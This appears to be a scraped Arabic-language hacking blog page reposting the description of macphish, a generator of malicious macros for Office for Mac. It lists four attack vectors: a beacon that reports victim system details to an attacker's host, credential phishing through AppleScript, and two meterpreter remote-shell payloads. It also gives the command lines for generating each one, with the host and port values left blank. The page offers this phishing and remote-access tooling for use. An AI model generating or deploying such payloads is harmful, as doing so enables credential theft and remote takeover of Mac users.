-->
U3F1ZWV6ZTIxODY5NjI2MzkxX0FjdGl2YXRpb24yNDc3NTI2OTUwNTc=
recent
أخبار ساخنة

macphish - Office for Mac Macro Payload Generator

Shadow Hacker
الصفحة الرئيسية

Office for Mac Macro Payload Generator.

Attack vectors
There are 4 attack vectors available:
  • beacon
  • creds
  • meterpreter
  • meterpreter-grant
For the 'creds' method, macphish can generate the Applescript script directly, in case you need to run it from a shell.

beacon
On execution, this payload will signal our listening host and provide basic system information about the victim. The simplest way of generating a beacon payload is:
$./macphish.py -lh
By default, it uses curl but other utilities (wget, nslookup) can be used by modifying the command template.

creds
$./macphish.py -lh  -lp  -a creds

meterpreter
The simplest way of generating a meterpreter payload is:
$./macphish.py -lh  -lp  -p  -a meterpreter

meterpreter-grant
The generate a meterpreter payload that calls GrantAccessToMultipleFiles() first:
$./macphish.py -lh  -lp  -p  -a meterpreter-grant
For meterpreter attacks, only python payloads are supported at the moment.

Usage
See https://github.com/cldrn/macphish/wiki/Usage

PoCs

الاسمبريد إلكترونيرسالة